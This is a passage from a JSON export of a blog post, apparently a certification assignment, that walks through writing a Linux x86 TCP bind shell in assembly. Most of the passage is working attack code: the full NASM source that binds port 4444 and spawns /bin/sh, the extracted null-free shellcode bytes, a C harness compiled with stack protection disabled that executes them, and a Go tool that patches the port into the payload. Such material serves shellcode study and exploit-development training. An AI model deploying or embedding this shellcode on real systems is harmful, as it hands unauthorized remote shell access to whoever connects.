reference<\/th><th>Value<\/th><\/tr><\/thead><tbody><tr><td>dup2<\/td><td>oldfd<\/td><td>file descriptor<\/td><td>client_sockid<\/td><td>EBX &#8211; &lt;return value from accept syscall &#8211; client socket file descriptor&gt;<\/td><\/tr><tr><td>accept<\/td><td>newfd<\/td><td>file descriptor<\/td><td>0, 1 and 2 (three syscalls)<\/td><td>0, 1 and 2 (three syscalls)<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>Using the above information, the following assembly code for <em>dup2 <\/em>syscalls is created.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">; Duplicate file descriptors\n\n        ; eax holds return value of previous syscall - accept - client_sockid\n        ; client socket file descriptor\n        push eax\n\n        ; push arguments for dup2 syscall\n        ; int dup2(int oldfd, int newfd);\n        ; dup2 syscall - setting STDIN;\n        mov al, 0x3f    ; move decimal 63; coverted to hex - dup2 syscall\n        pop ebx         ; set ebx to client sockid\n        xor ecx, ecx\n        int 0x80\n\n        ; dup2 syscall - setting STDOUT\n        mov al, 0x3f   ; move decimal 63; coverted to hex - dup2 syscall\n        mov cl, 0x1\n        int 0x80\n\n        ; dup2 syscall - setting STDERR\n        mov al, 0x3f   ; move decimal 63; coverted to hex - dup2 syscall\n        mov cl, 0x2\n        int 0x80\n<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Execute \/bin\/sh<\/h2>\n\n\n\n<p>We are almost at the end of the post. We have successfully knitted the program to handle the sockets. Now once the client connects, we need to execute <em>\/bin\/sh<\/em> to spawn a shell. For this, we need <em>execve <\/em>syscall.<\/p>\n\n\n\n<p>The relevant C code snippet for <em>execve <\/em>syscall is below:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ Execute \/bin\/sh\u00a0\nexecve(\"\/bin\/sh\", NULL, NULL);\u00a0<\/pre>\n\n\n\n<p>The man reference of the <em>execve <\/em>syscall is below:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">int execve(const char *pathname, char *const argv[], char *const envp[]);<\/pre>\n\n\n\n<p>The only part interesting for us is the pointer to <em>pathname<\/em>, which is the file which we want to execute. In our case, that is \/bin\/sh. <\/p>\n\n\n\n<p>As <em>&#8220;\/bin\/sh&#8221;<\/em> is of 7 bytes, we can add an additional <em>&#8220;\/&#8221;<\/em> to make it 8, which is easier for us to push on the stack. So, <em>pathname <\/em>will be &#8220;\/\/bin\/sh&#8221; (which is same as <em>\/bin\/sh<\/em>; adding <em>&#8220;\/&#8221;<\/em> does not make a difference !)<\/p>\n\n\n\n<p>As mentioned previously, <em>&#8220;\/\/bin\/sh&#8221; <\/em>will be pushed on the stack in reverse due to little endian format. Also, as we are dealing with filename\/string, this has to be null terminated.<\/p>\n\n\n\n<p>The final data looks like this:<\/p>\n\n\n\n<p><\/p>\n\n\n\n<figure class=\"wp-block-table is-style-regular\"><table><thead><tr><th>Syscall<\/th><th>Argument<\/th><th>Man reference<\/th><th>C code reference<\/th><th>Value<\/th><\/tr><\/thead><tbody><tr><td>execve<\/td><td>*pathname<\/td><td>Execve() executes the program referred to by pathname<\/td><td>\/bin\/sh<\/td><td>hs\/nib\/\/0x00000000<br><\/td><\/tr><tr><td>execve<\/td><td>argv[]<\/td><td>Array of pointers to strings passed to the new program as its command-line arguments<\/td><td>NULL<\/td><td>0<\/td><\/tr><tr><td>execve<\/td><td>envp[]<\/td><td>Array of pointers to strings, conventionally of the form key=value, which are passed as the environment of the new program<\/td><td>NULL<\/td><td>0<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>Translating this to assembly, we have the following code:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">; Execute \/bin\/sh\n\n        ; exeve syscall\n        mov al, 0xb\n\n        ; int execve(const char *pathname, char *const argv[], char *const envp[]);\n        ; push \/\/bin\/sh on stack\n        xor ebx, ebx\n        push ebx                ; Null\n        push 0x68732f6e         ; hs\/n : 68732f6e\n        push 0x69622f2f         ; ib\/\/ : 69622f2f\n        mov ebx, esp\n\n        xor ecx, ecx\n        xor edx, edx\n\n        int 0x80\n<\/pre>\n\n\n\n<p>That&#8217;s it ! We have drafted the shellcode completely. The complete program is as follows:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">; Purpose:      Linux x86 Bind Shell\n; Author:       Mohit Suyal (@mosunit)\n; Studen ID:    PA-16521\n; Blog:         https:\/\/mosunit.com\n\nglobal _start\n\nsection .text\n\n_start:\n\n; Creating a socket\n\n        ; move decimal 102 in eax - socketcall syscall\n        xor eax, eax\n        mov al, 0x66    ;converted to hex\n\n        ; set the call argument to 1 - SOCKET syscall\n        xor ebx, ebx\n        mov bl, 0x1\n\n        ; push value of protocol, type and domain on stack - socket syscall\n        ; int socket(int domain, int type, int protocol);\n        ; arguments pushed in reverse order\n        xor ecx, ecx\n        push ecx        ; Protocol = 0\n        push 0x1        ; Type = 1 (SOCK_STREAM)\n        push 0x2        ; Domain = 2 (AF_INET)\n\n        ; set value of ecx to point to top of stack - points to block of arguments for socketcall syscall\n        mov ecx, esp\n\n        int 0x80\n\n; Binding a socket\n\n        ; save return value of socket syscall - socket file descriptor\n        xor edx, edx\n        mov edx, eax\n\n        ; move decimal 102 in eax - socketcall syscall\n        mov al, 0x66    ;converted to hex\n\n        ; set the call argument to 2 - bind syscall\n        mov bl, 0x2\n\n        ; push sockaddr structure on the stack\n        ; struct sockaddr {\n        ;       sa_family_t sa_family;\n        ;       char        sa_data[14];\n        ;       }\n        xor ecx, ecx\n        push ecx                ; s_addr = any(0.0.0.0)\n        push word 0x5c11        ; port = 4444\n        push word 0x2           ; family = AF_INET\n\n        mov esi, esp            ; save address of sockaddr struct\n\n        ; push values of addrlen, addr and sockfd on the stack\n        ; bind(host_sockid, (struct sockaddr*) &amp;hostaddr, sizeof(hostaddr));\n        push 0x10               ; strlen =16\n        push esi                ; address of sockaddr structure\n        push edx                ; file descriptor returned from socket syscall\n\n        ; set value of ecx to point to top of stack - points to block of arguments for bind syscall\n        mov ecx, esp\n        int 0x80\n\n; Listen for a connection\n\n        ; move decimal 102 in eax - socketcall syscall\n        mov al, 0x66    ;converted to hex\n\n        ; set the call argument to 4 - listen syscall\n        mov bl, 0x4\n\n        ; push arguments for socketcall syscall\n        ; int listen(int sockfd, int backlog)\n        push byte 0x2\n        push edx\n\n        ;set value of ecx to point ot top of stack - points to block of arguments for listen syscall\n        mov ecx, esp\n        int 0x80\n\n; Accept a connection\n\n        ; move decimal 102 in eax - socketcall syscall\n        mov al, 0x66\n\n\n        ; set the call argument to 5 - accept syscall\n         mov bl, 0x5\n\n        ; push arguments for socketcall syscall\n        ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)\n        xor ecx, ecx\n        push ecx\n        push ecx\n        push edx\n\n        ;set value of ecx to point ot top of stack - points to block of arguments for listen syscall\n        mov ecx, esp\n        int 0x80\n\n; Duplicate file descriptors\n\n        ; eax holds return value of previous syscall - accept - client_sockid\n        ; client socket file descriptor\n        push eax\n\n        ; push arguments for dup2 syscall\n        ; int dup2(int oldfd, int newfd);\n        ; dup2 syscall - setting STDIN;\n        mov al, 0x3f            ; move decimal 63; coverted to hex - dup2 syscall\n        pop ebx                 ; set ebx to client sockid\n        xor ecx, ecx\n        int 0x80\n\n        ; dup2 syscall - setting STDOUT\n        mov al, 0x3f            ; move decimal 63; coverted to hex - dup2 syscall\n        mov cl, 0x1\n        int 0x80\n\n        ; dup2 syscall - setting STDERR\n        mov al, 0x3f            ; move decimal 63; coverted to hex - dup2 syscall\n        mov cl, 0x2\n        int 0x80\n\n; Execute \/bin\/sh\n\n        ; exeve syscall\n        mov al, 0xb\n\n        ; int execve(const char *pathname, char *const argv[], char *const envp[]);\n        ; push \/\/bin\/sh on stack\n        xor ebx, ebx\n        push ebx                ; Null\n        push 0x68732f6e         ; hs\/n : 68732f6e\n        push 0x69622f2f         ; ib\/\/ : 69622f2f\n        mov ebx, esp\n\n        xor ecx, ecx\n        xor edx, edx\n\n        int 0x80\n<\/pre>\n\n\n\n<p>The next step is to assemble and link the the code.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">root@kali:~\/slae\/assignments\/assignment-1# nasm -f elf32 -o bind_shell_x86.o bind_shell.nasm\n\nroot@kali:~\/slae\/assignments\/assignment-1# ld -o bind_shell_x86 bind_shell_x86.o\n\nroot@kali:~\/slae\/assignments\/assignment-1# ls -l |grep x86\n-rwxr-xr-x 1 root root  4600 Jul 10 14:56 bind_shell_x86\n-rw-r--r-- 1 root root   544 Jul 10 14:56 bind_shell_x86.o\n\nroot@kali:~\/slae\/assignments\/assignment-1# file bind_shell_x86\nbind_shell_x86: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped\n\n<\/pre>\n\n\n\n<p>As shown above, the ouput is an elf executable. Let&#8217;s extract the shellcode from this by using an awesome command line magic taught by Vivek, which has been extracted from <a rel=\"noreferrer noopener\" href=\"https:\/\/www.commandlinefu.com\/commands\/view\/6051\/get-all-shellcode-on-binary-file-from-objdump\" target=\"_blank\">Commandlinefu<\/a><\/p>\n\n\n\n<p>The output is a neat shellcode, which can be directly embedded in our shellcode tester program in C. Also, note that the shellcode is free from any null bytes.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">root@kali:~\/slae\/assignments\/assignment-1# objdump -d bind_shell_x86 |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\\t' ' '|sed 's\/ $\/\/g'|sed 's\/ \/\\\\x\/g'|paste -d '' -s |sed 's\/^\/\"\/'|sed 's\/$\/\"\/g'\n\"\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x01\\x31\\xc9\\x51\\x6a\\x01\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x31\\xd2\\x89\\xc2\\xb0\\x66\\xb3\\x02\\x31\\xc9\\x51\\x66\\x68\\x11\\x5c\\x66\\x6a\\x02\\x89\\xe6\\x6a\\x10\\x56\\x52\\x89\\xe1\\xcd\\x80\\xb0\\x66\\xb3\\x04\\x6a\\x02\\x52\\x89\\xe1\\xcd\\x80\\xb0\\x66\\xb3\\x05\\x31\\xc9\\x51\\x51\\x52\\x89\\xe1\\xcd\\x80\\x50\\xb0\\x3f\\x5b\\x31\\xc9\\xcd\\x80\\xb0\\x3f\\xb1\\x01\\xcd\\x80\\xb0\\x3f\\xb1\\x02\\xcd\\x80\\xb0\\x0b\\x31\\xdb\\x53\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xcd\\x80\"<\/pre>\n\n\n\n<p>Our C code looks like this once the shellcode is embedded:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">#include &lt;stdio.h>\n#include &lt;string.h>\n\nunsigned char code[] = \\\n\"\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x01\\x31\\xc9\\x51\\x6a\\x01\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x31\\xd2\\x89\\xc2\\xb0\\x66\\xb3\\x02\\x31\\xc9\\x51\\x66\\x68\\x11\\x5c\\x66\\x6a\\x02\\x89\\xe6\\x6a\\x10\\x56\\x52\\x89\\xe1\\xcd\\x80\n\\xb0\\x66\\xb3\\x04\\x6a\\x02\\x52\\x89\\xe1\\xcd\\x80\\xb0\\x66\\xb3\\x05\\x31\\xc9\\x51\\x51\\x52\\x89\\xe1\\xcd\\x80\\x50\\xb0\\x3f\\x5b\\x31\\xc9\\xcd\\x80\\xb0\\x3f\\xb1\\x01\\xcd\\x80\\xb0\\x3f\\xb1\\x02\\xcd\\x80\\xb0\\x0b\\x31\\\nxdb\\x53\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xcd\\x80\";\n\nmain()\n\n{\n        printf(\"Shellcode length: %d\\n\", strlen(code));\n        int (*ret)() = (int(*)())code;\n        ret();\n}<\/pre>\n\n\n\n<p>The final step is to compile this using <em>gcc. <\/em>We need to add <code>fno-stack-protector<\/code> to unprotect the stack and <code>execstack<\/code> to make the stack executable.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">root@kali:~\/slae\/assignments\/assignment-1# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode\nshellcode.c:7:1: warning: return type defaults to \u2018int\u2019 [-Wimplicit-int]\n    7 | main()\n      | ^~~~\n<\/pre>\n\n\n\n<p>Let&#8217;s run it and connect to port 4444 to check if a shell is spawned<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"206\" src=\"https:\/\/mosunit.com\/wp-content\/uploads\/2020\/07\/shell-1024x206.png\" alt=\"\" class=\"wp-image-578\" srcset=\"https:\/\/mosunit.com\/wp-content\/uploads\/2020\/07\/shell-1024x206.png 1024w, https:\/\/mosunit.com\/wp-content\/uploads\/2020\/07\/shell-300x60.png 300w, https:\/\/mosunit.com\/wp-content\/uploads\/2020\/07\/shell-768x155.png 768w, https:\/\/mosunit.com\/wp-content\/uploads\/2020\/07\/shell.png 1113w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>And there we have it ! A TCP bind shell on port 4444. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Shellcode with reconfigurable port !<\/h2>\n\n\n\n<p>The next task at hand is to make the bind port in the shellcode reconfigurable. <\/p>\n\n\n\n<p>I did some rusty work in Go on this. The program has hardcoded shellcode that we generated earlier. It takes the new port as input and replaces the respective part of the shellcode with new port number. <\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/*\nTool:\t\tLinux Bind Shell(x86) Port Configurator\nAuthor:\t\tMohit Suyal (@mosunit)\nStudent ID:\tPA-16521\nBlog:\t\thttps:\/\/mosunit.com\n*\/\n\npackage main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n)\n\nfunc main() {\n\n\t\/\/ Original shellcode - hardcoded with port 4444\n\tshellcode := []string{`\\x31`, `\\xc0`, `\\xb0`, `\\x66`, `\\x31`, `\\xdb`, `\\xb3`, `\\x01`, `\\x31`, `\\xc9`, `\\x51`, `\\x6a`, `\\x01`, `\\x6a`, `\\x02`, `\\x89`, `\\xe1`, `\\xcd`, `\\x80`, `\\x31`, `\\xc9`, `\\x31`, `\\xd2`, `\\x89`, `\\xc2`, `\\xb0`, `\\x66`, `\\xb3`, `\\x02`, `\\x51`, `\\x66`, `\\x68`, `\\x11`, `\\x5c`, `\\x66`, `\\x6a`, `\\x02`, `\\x89`, `\\xe6`, `\\x6a`, `\\x10`, `\\x56`, `\\x52`, `\\x89`, `\\xe1`, `\\xcd`, `\\x80`, `\\xb0`, `\\x66`, `\\xb3`, `\\x04`, `\\x6a`, `\\x02`, `\\x52`, `\\x89`, `\\xe1`, `\\xcd`, `\\x80`, `\\xb0`, `\\x66`, `\\xb3`, `\\x05`, `\\x31`, `\\xc9`, `\\x51`, `\\x51`, `\\x52`, `\\x89`, `\\xe1`, `\\xcd`, `\\x80`, `\\x50`, `\\xb0`, `\\x3f`, `\\x5b`, `\\x31`, `\\xc9`, `\\xcd`, `\\x80`, `\\xb0`, `\\x3f`, `\\xb1`, `\\x01`, `\\xcd`, `\\x80`, `\\xb0`, `\\x3f`, `\\xb1`, `\\x02`, `\\xcd`, `\\x80`, `\\xb0`, `\\x0b`, `\\x31`, `\\xdb`, `\\x53`, `\\x68`, `\\x6e`, `\\x2f`, `\\x73`, `\\x68`, `\\x68`, `\\x2f`, `\\x2f`, `\\x62`, `\\x69`, `\\x89`, `\\xe3`, `\\x31`, `\\xc9`, `\\x31`, `\\xd2`, `\\xcd`, `\\x80`}\n\n\t\/\/Define flag for input\n\tport := flag.Int(\"port\", -1, \"port number for shellcode\")\n\tflag.Parse()\n\n\tif *port == -1 {\n\t\tfmt.Println(\"Please input the port number. e.g. 9999 \")\n\t\tflag.PrintDefaults()\n\t\tos.Exit(1)\n\t}\n\n\t\/\/ Convert the inpurt port in hex format\n\thexport := fmt.Sprintf(\"%x\", *port)\n\n\t\/\/ Create a slice of strings to split the port into two parts\n\tone := make([]string, 4)\n\ttwo := make([]string, 4)\n\n\t\/\/ Create two seperate string slice to store first two and last two characters of the port converted in hex\n\tfor i, r := range hexport {\n\t\tif i &lt; 2 {\n\t\t\tone[i] = string(r)\n\t\t\tcontinue\n\t\t}\n\t\ttwo[i] = string(r)\n\t}\n\n\t\/\/ Join the string of ports to create two equal parts\n\tp1 := strings.Join(one[:], \"\")\n\tp2 := strings.Join(two[:], \"\")\n\n\t\/\/ Change the representation of the ports to hex format\n\tp1 = fmt.Sprintf(\"%s%s\", \"\\\\x\", p1)\n\tp2 = fmt.Sprintf(\"%s%s\", \"\\\\x\", p2)\n\n\t\/\/ Replace the respective values of port in orginal shellcode to new port provided\n\tshellcode[32] = p1\n\tshellcode[33] = p2\n\n\t\/\/ Join the slice of strings and print the shellcode\n\tfmt.Printf(\"Generating TCP bind shellcode for port number %v\\nThe shellcode length is %v bytes\\n\\n\\\"%s\\\"\", *port, len(shellcode), strings.Join(shellcode[:], \"\"))\n\n}\n<\/pre>\n\n\n\n<p>Let&#8217;s see the tool in action. Simply run it and input the new port for the bind shell. <\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">PS E:\\&lt;snipped>\\bind_shell_port_config> go run .\\bind_shell_port_config.go -port 9999\nGenerating TCP bind shellcode for port number 9999\nThe shellcode length is 114 bytes\n\n\"\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x01\\x31\\xc9\\x51\\x6a\\x01\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x31\\xc9\\x31\\xd2\\x89\\xc2\\xb0\\x66\\xb3\\x02\\x51\\x66\\x68\\x27\\x0f\\x66\\x6a\\x02\\x89\\xe6\\x6a\\x10\\x56\\x52\\x89\\xe1\\xcd\\x80\\xb0\\x66\\xb3\\x04\\x6a\\x02\\x52\\x89\\xe1\\xcd\\x80\\xb0\\x66\\xb3\\x05\\x31\\xc9\\x51\\x51\\x52\\x89\\xe1\\xcd\\x80\\x50\\xb0\\x3f\\x5b\\x31\\xc9\\xcd\\x80\\xb0\\x3f\\xb1\\x01\\xcd\\x80\\xb0\\x3f\\xb1\\x02\\xcd\\x80\\xb0\\x0b\\x31\\xdb\\x53\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xcd\\x80\"<\/pre>\n\n\n\n<p>Using the same approach of embedding the shellcode in the C template, compiling it and running it shows that the bind shell was available on port 9999. So, it affirms that the Go code is working and the port number in the shellcode is easily reconfigurable.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"167\" src=\"https:\/\/mosunit.com\/wp-content\/uploads\/2020\/07\/shell1-1024x167.png\" alt=\"\" class=\"wp-image-580\" srcset=\"https:\/\/mosunit.com\/wp-content\/uploads\/2020\/07\/shell1-1024x167.png 1024w, https:\/\/mosunit.com\/wp-content\/uploads\/2020\/07\/shell1-300x49.png 300w, https:\/\/mosunit.com\/wp-content\/uploads\/2020\/07\/shell1-768x126.png 768w, https:\/\/mosunit.com\/wp-content\/uploads\/2020\/07\/shell1.png 1119w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: <a href=\"https:\/\/www.pentesteracademy.com\/course?id=3\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/www.pentesteracademy.com\/course?id=3<\/a><\/p>\n\n\n\n<p>Student ID: PA-16521<\/p>\n\n\n\n<p>That&#8217;s it for this post. In the next post, I will cover reverse shellcode. <\/p>\n\n\n\n<p>Thanks for reading !<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Like everyone else, I have been swapping payloads within the exploits with few key-presses. Metasploit and Msfvenom are such wonderful tools that they ease out&hellip;<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[20,8,21,25],"tags":[24,22,23],"class_list":["post-482","post","type-post","status-publish","format-standard","hentry","category-assembly","category-red-team","category-shellcoding","category-slae","tag-bind-shell","tag-shellcoding","tag-slae"],"_links":{"self":[{"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/posts\/482","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/mosunit.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=482"}],"version-history":[{"count":103,"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/posts\/482\/revisions"}],"predecessor-version":[{"id":648,"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/posts\/482\/revisions\/648"}],"wp:attachment":[{"href":"https:\/\/mosunit.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=482"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mosunit.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=482"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mosunit.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=482"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}